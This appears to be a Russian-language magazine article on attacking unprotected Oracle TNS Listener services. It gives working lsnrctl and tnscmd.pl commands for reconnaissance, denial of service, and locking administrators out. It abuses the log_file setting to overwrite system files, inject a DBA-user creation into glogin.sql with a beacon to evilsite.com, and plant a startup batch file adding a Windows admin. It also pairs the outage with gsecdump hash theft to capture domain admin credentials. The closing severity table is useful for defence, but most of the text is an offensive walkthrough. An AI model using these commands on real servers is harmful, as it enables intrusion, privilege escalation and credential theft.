Для версий СУБД Oracle ниже 10g по умолчанию возможно неавторизированное подключение к службе Листенера и осуществление удаленного управления сервисом. В общем случае мы можем выполнить следующие действия:
- получить детальную информацию об атакуемой системе:
- имена сервисов (SERVICE_NAME) и системные идентификаторы (SID);
- версию СУБД;
- пути к журналам регистрации событий;
- версию ОС, на которой установлена СУБД;
- переменные окружения (ORACLE_HOME и т.п.);
- произвести атаку на отказ в обслуживании;
- выполнить SQLкоманды от имени администратора БД (DBA);
- получить удаленный доступ к системе.
Получение детальной информации о системе через службу Листенера
Для получения детальной информации о системе используется стандартная утилита lsnrctl, входящая в набор устанавливаемых с клиентом для СУБД Oracle утилит. Для получения информации о конфигурации службы Листенера можно воспользоваться командой status:
C:\>lsnrctl status 192.168.40.14 Connecting to (DESCRIPTION=(CONNECT_DATA=(SERVICE_NAME=192.168.40.14))(ADDRESS= (PROTOCOL=TCP)(HOST=192.168.40.14)(PORT=1521))) STATUS of the LISTENER ———————————— Alias LISTENER Version TNSLSNR for 32-bit Windows: Version 10.1.0.2.0 - Production Start Date 08-NOV-2007 13:46:55 Uptime 1 days 0 hr. 41 min. 48 sec Trace Level off Security ON: Local OS Authentication SNMP OFF Listener Parameter File E:\oracle\product\10.1.0\db_1\network\admin\ listener.ora Listener Log File E:\oracle\product\10.1.0\db_1\network\log\ listener.log
Ответ сервера содержит много интересной информации:
- SID базы данных – orcl;
- версия СУБД – Version 10.1.0.2.0;
- пути к logфайлу – E:\oracle\product\10.1.0\db_1\network\log\listener.log;
- операционная система, на которой установлена СУБД, – 32 bit Windows;
- переменная окружения ORACLE_HOME – E:\oracle\product\10.1.0\;
- дополнительные приложения, установленные на сервере, – Oracle FTP (PORT 2100) и Oracle HTTP (PORT 8080).
В дальнейшем эта информация может помочь для проникновения в систему. Например, зная системный идентификатор (SID), мы можем попытаться подбирать пароли на доступ к СУБД. Зная версию СУБД и ОС, можно поискать в Интернете эксплоиты к уязвимостям в этих версиях. Вооружившись новыми знаниями, перейдем к активным действиям.
Атака на отказ в обслуживании через службу Листенера
Удаленное управление Листенером позволяет выполнять множество «опасных» команд, одна из них – удаленная остановка службы Листенера. Для осуществления подобной атаки отказа в обслуживании используется все та же штатная утилита lsnrctl. С помощью команды stop удаленный пользователь может остановить службу Листенера:
LSNRCTL> start Starting tnslsnr: please wait... Service OracleOraDb10g_home1TNSListener already running. TNS-12560: TNS:protocol adapter error TNS-00530: Protocol adapter error 32-bit Windows Error: 1056: Unknown error LSNRCTL> stop Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC))) The command completed successfully LSNRCTL> status Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC))) TNS-12541: TNS:no listener TNS-12560: TNS:protocol adapter error TNS-00511: No listener 32-bit Windows Error: 2: No such file or directory Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.40.14)(PORT=1521))) TNS-12541: TNS:no listener TNS-12560: TNS:protocol adapter error TNS-00511: No listener 32-bit Windows Error: 61: Unknown error LSNRCTL>
Остановка службы Листенера может повлиять на работу критичных приложений, работающих удаленно с СУБД и подключающихся к этой службе. Для того чтобы администратор ко всему прочему не смог удаленно включить службу Листенера после ее остановки, можно установить пароль на доступ к ней:
LSNRCTL> set current_listener LSNRCTL> change_password Old password: New password: Reenter new password: LSNRCTL> set password Password: LSNRCTL> save_config
Такой ход вынудит администратора интерактивно подключаться к серверу (например, по протоколу RDP) и править конфигурационный файл «на месте». Приведенная атака может показаться на первый взгляд глупой и может быть проведена только с целью вандализма, но это не совсем так. Во врезке вы сможете прочитать один пример из реальной жизни, в котором использовалась данная атака.
Захват домена путем остановки СУБД
Известно, что пользователь ОС Windows, обладающий правами локального администратора, может получить хэши паролей учетных записей пользователей, которые хранятся в кэше сессий удаленного доступа к серверу. Подробнее об этой особенности можно почитать по адресу http://www.coresecurity.com/content/modifying>windows>nt>logon>credential. Для реализации такой атаки, «вынимающей» хэши паролей удаленных пользователей, создано множество утилит. Самые известные и удобные из них - это whosthere (http://oss.coresecurity.com/projects/pshtoolkit.htm) и gsecdump (http://www.truesec.com/PublicStore/catalog/categoryinfo.aspx?cid=223&AspxAutoDetectCookieSupport=1).
На рисунке ниже показано, как с помощью утилиты gsecdump можно получить хэши паролей доменных пользователей, которые заходили на сервер.
Рис. Получение хэшей паролей пользователей из кэша ОС утилитой gsecdump
Теперь перейдем собственно к сценарию атаки, состоящей из двух этапов, в случае успеха которых мы можем получить хэш пароля администратора системы и в дальнейшем аутентифицироваться этим хэшем на любом сервере в домене.
Предположим, мы каким-либо образом получили доступ к серверу, на котором установлена СУБД. Предположим, сервер СУБД находится в домене и мы знаем, что его администрирует пользователь с правами администратора домена. В этом случае на сервере первым делом запускается утилита gsecdump в фоновом режиме, которая ждет удаленные подключения к серверу, и как только подключение происходит, утилита достает хэш пароля подключившегося пользователя.
Для того чтобы ускорить время ожидания подключения, необходимо смоделировать ситуацию, при которой администратору необходимо будет подключиться удаленно к нашему серверу. Этой ситуацией как раз и будет приведенная атака отказа в обслуживании на службу Листенера, после чего нам останется только дождаться момента, когда администратор удаленно зайдет на сервер, чтобы включить службу и разобраться, в чем проблема. Зайдя на сервер, он оставит хэш своего пароля в кэше доменных сессий, который будет заботливо «обработан» утилитой gsecdump. Нетрудно догадаться, что получение учетной записи администратора домена ведет к получению доступа ко всем серверам, входящим в этот домен.
Отказ в обслуживании через set trc_level
В опциях управления Листенером имеется такой параметр, как уровень трассировки, который задается командой set trc_level. Если сервер обрабатывает большое количество запросов или имеет слабый процессор, то, выставив уровень трассировки на максимальный, можно обеспечить серверу высокий уровень загрузки, тем самым совершив атаку на отказ в обслуживании.
На практике это осуществляется следующим образом:
LSNRCTL> set trc_level 16 Connecting to (DESCRIPTION=(CONNECT_DATA=(SERVICE_NAME=172.16.1.13)) (ADDRESS=(PROTOCOL=TCP)(HOST=172.16.1.13)(PORT=1521))) 172.16.1.13 parameter "trc_level" set to user The command completed successfully LSNRCTL>
После выполнения данной команды можно спокойно ждать, пока сервер перестанет справляться с нагрузкой. Чтобы помочь ему в этом, можно инициализировать множественные подключения к Листенеру.
Отказ в обслуживании через set log_file
Служба Листенера имеет одну особенность конфигурации, через которую возможно осуществлять довольно большой класс атак. Она заключается в том, что при помощи команды set log_file можно изменить директорию и имя файла для хранения логов Листенера. Эта особенность позволяет злоумышленнику совершать множество атак, начиная от отказа в обслуживании и заканчивая получением административного доступа к серверу. Начнем с отказа в обслуживании.
Чтобы провести атаку на отказ в обслуживании, можно задать в качестве файла для хранения логов критичный системный файл, например boot.ini в ОС Windows.
Для этого нам потребуется все та же стандартная утилита lsnrctl и сервер СУБД, который разрешает удаленное подключение к Листенеру:
LSNRCTL> set current_listener 172.16.1.13 Current Listener is 172.16.1.13 LSNRCTL> set log_file C:\boot.ini
В результате приведенных выше команд будет переписан системный файл, что может повлиять на работоспособность сервера:
Рис. Атака на Листенер, подмена пути к лог-файлу
Таким способом можно перезаписать любой файл в системе, доступ к которому имеет пользователь от чьего имени запущена СУБД.
Добавление пользователя с правами DBA через set log_file
Пойдем дальше и попробуем получить нечто большее, чем просто отказ в обслуживании. Попробуем получить права администратора СУБД путем перезаписи файла glogin.sql.
Файл glogin.sql считывается автоматически при запуске на сервере утилиты sqlplus, используемой для подключения к локальной или удаленной СУБД. Если нам удастся внедрить в этот файл необходимые команды, то при запуске администратором утилиты sqlplus автоматически создастся новый пользователь с правами DBA.
Файл glogin.sql находится в директории ORACLE_HOME/sqlplus/admin/, и первое, что нужно сделать, это изменить значение переменной, указывающей на файл журнала регистрации событий:
LSNRCTL> set current_listener 172.16.1.13 Current Listener is 172.16.1.13 LSNRCTL> set log_file D:\oracle\ora92\sqlplus\admin\glogin.sql Connecting to (DESCRIPTION=(CONNECT_DATA=(SERVICE_NAME=172.16.1.13))(ADDRESS=(PROTOCOL=TCP) (HOST=172.16.1.13)(PORT=1521))) 172.16.1.13 parameter "log_file" set to D:\oracle\ora92\sqlplus\admin\glogin.
Результат действия показан на данном рисунке:
Далее необходимо записать в этот файл нужные команды. Как это сделать? Для того чтобы записать что-либо в логфайл, необходимо искусственно создать ошибочный запрос, данные о котором запишутся в журнал. То есть требуется послать такой запрос к Листенеру, который одновременно будет и ошибочным, и в то же время будет содержать необходимые нам команды. Важно избежать появления в логе лишних данных, чтобы файл glogin.sql не вызвал ошибок при запуске.
Для посылки произвольных низкоуровневых команд службе Листенера можно воспользоваться скриптом tnscmd.pl, написанным на языке perl. Данный скрипт можно скачать в Интернете по адресу: http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd. Для того чтобы создать в СУБД нового пользователя с правами DBA при помощи данной утилиты, необходимо послать следующую команду:
[sh2kerr@au01]$ ./tnscmd.pl -h 172.16.1.13 —rawcmd "(CONNECT_DATA=(( >create user sh2kerr identified by 12345 >grant dba to sh2kerr >" sending (CONNECT_DATA=(( create user sh2kerr identified by 12345 grant dba to sh2kerr to 172.16.1.13:1521 writing 136 bytes reading .O......"..C(DESCRIPTION=(ERR=1153)(VSNNUM=153092352)(ERROR_STACK=(ERROR=(CODE=1153) (EMFI=4)(ARGS='(CONNECT_DATA=((.create user sh2kerr identified by 12345.grant dba to sh2kerr'))(ERROR=(CODE=303)(EMFI=1))))
Разберем приведенный пример. Вначале мы посылаем на сервер низкоуровневую команду, в которой находятся два SQLзапроса. Первый из них создает пользователя с известным нам паролем, второй назначает этому пользователю административную роль DBA. В результате этих действий в файл glogin.sql допишется содержимое этого запроса (см. рисунок ниже).
Теперь, когда администратор, находясь на сервере, попытается подключиться к базе данных с использованием утилиты sqlplus, выполнится скрипт glogin.sql, который создаст в СУБД новую учетную запись пользователя с правами администратора. Для того чтобы нам стало известно, когда это произойдет, можно дописать в файл glogin.sql строку вида:
SELECT utl_http.request('http://evilsite.com/user_created') from dual.
Теперь в момент создания учетной записи система совершит запрос к подконтрольному нами серверу http://evilsite.com/ (если, конечно, СУБД имеет прямой доступ в Интернет) и мы узнаем, когда наша ловушка сработала.
Получение административных прав на сервере через set log_file
Используя ту же методику, что и для добавления новой учетной записи в СУБД, можно добавить пользователя с правами администратора непосредственно в ОС, на которой функционирует СУБД. Для получения удаленного доступа к системе используется та же утилита lsnrctl и скрипт tnscmd.pl. С помощью директивы set log_file можно изменить файл хранения на любой командный файл, лежащий в папке автозагрузки пользователя. Далее с помощью утилиты tnscmd.pl можно послать запрос, содержащий системные команды, которые сохранятся в журнале.
Рис. Атака на Листенер, содержимое файла qlogin.sql после перезаписи
Попробуем, используя данную методику, получить административные права на сервере под управлением Windows. Первым делом заменим текущий файл журналов на скрипт 1.bat, который будет находиться в папке автозагрузки администратора:
[root@server]#./tnscmd.pl -h 192.168.30.13 —rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file) (ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=C:\Documents and Settings\Administrator\Start Menu\Programs\Startup\1.bat)))"
После чего, аналогично предыдущему примеру, пошлем на сервер низкоуровневую команду, в которую запишем две системные команды. Первая создает нового пользователя с известным нам паролем, а вторая добавляет его в группу администраторов:
[root@server]#./tnscmd.pl -h 192.168.30.13 —rawcmd "(DESCRIPTION=(CONNECT_DATA=(( > net user new_Admin h@ck3r /add > net localgroup Administrators new_Admin /add > "
В результате данных действий на сервере в папке автозагрузки администратора создастся файл 1.bat с приведенными выше командами:
Рис. Процесс получения административных прав на сервере через подмену лог-файла
В результате при подключении администратором к консоли сервера сработает скрипт 1.bat и на сервере появится наша учетная запись.
Существует, правда, одна тонкость, которую необходимо учесть, чтобы приведенные выше атаки сработали. После приведенных действий необходимо перезапустить службу Листенера или поменять директорию файла журнала обратно, иначе скрипт 1.bat будет заблокирован процессом oracle и не сможет выполниться при автозагрузке. Это очень важный момент, без учета которого описанные выше два метода не сработают!
Приведенный выше способ работает в ОС Windows. Что касается UNIX, то там также можно провести подобную атаку, например, перезаписав файл .rhosts: добавив в него строку, содержащую два символа +, мы получим возможность удаленного подключения к серверу по протоколу rlogin с любого хоста в сети. Также этим методом можно добавить предварительно сгенерированный ssh-ключ в папку пользователя Oracle. В общем, возможностей не мало.
Прочие атаки на Listener
Выше были перечислены основные атаки на незащищенный Листенер. Что касается других возможных атак, они не столь критичны, а их описание может быть сведено в удобную таблицу. В таблице будет указана команда службы Листенера, уровень критичности краткое описание того, к чему может привести выполнение данной команды.
Команда | Уровень критичности | Запрещена опцией admin_restrictions | Требует пароля (если установлен) | Комментарии |
set log_directory set log_file set log_status | Высокий | X | X | С помощью данной команды возможна перезапись критичных системных файлов, таких как .rhosts htacess .profile, а также SSH ключей в ОС UNIX с дальнейшим получением доступа к командной строке сервера. В Windows возможна также перезапись любых критичных файлов, или добавление скриптов в автозагрузку пользователя, и как следствие получение административных прав на сервере |
stop | Высокий | X | X | С помощью данной команды возможна удаленная остановка Листенера |
set trc_directory set trc_file set trc_level trace | Средний | X | Только trc_level и trace | Используя команду set trc_level можно выставить высокий уровень трассировки, что может повлиять на загруженность сервера и привести к отказу в обслуживании |
Change_password | Средний | Х | Х | С помощью данной команды возможна смена пароля на Листенер и как следствие закрытие администратору доступа на удаленное управление |
Set Connect_timeout (только в 8.1.7) | Низкий | Х | С помощью данной команды возможно вызвать отказ в обслуживании выставив высокое значение таймаута соединений в максимальное значение равное 2, 147, 483, 647. После чего следует атаковать сервер попытками соединений | |
Set nbound_connect_timeout (только в 10g) | Низкий | Х | С помощью данной команды возможно вызвать отказ в обслуживании. Для этого следует выставить высокое значение таймаута соединений в максимальное значение равное 3600 и атаковать сервер попытками соединений | |
set statup_waittime | Низкий | Х | Х | С помощью данной команды возможно вызвать отказ в обслуживании, выставив значение времени ожидания запуска Листенера в максимальное значение равное 2, 147, 483, 647 в случае чего, Листенер будет очень долго включаться |
Status | Разглашение информации | Начиная с версии 10g | Возможно получение детальной информации о SID базы данных, версии СУБД, версии ОС и пути к log файлам | |
Services | Разглашение информации | Х | Возможно получение детальной информации о SID базы данных | |
show | Разглашение информации | Х | Возможно получение значений практически всех переменных установленных через set. Исключение составляют опции save_config_on_stop и use_plugandplay | |
version | Разглашение информации | Возможно получение детальной информации о версии Листенера, которая обычно совпадает с версией СУБД |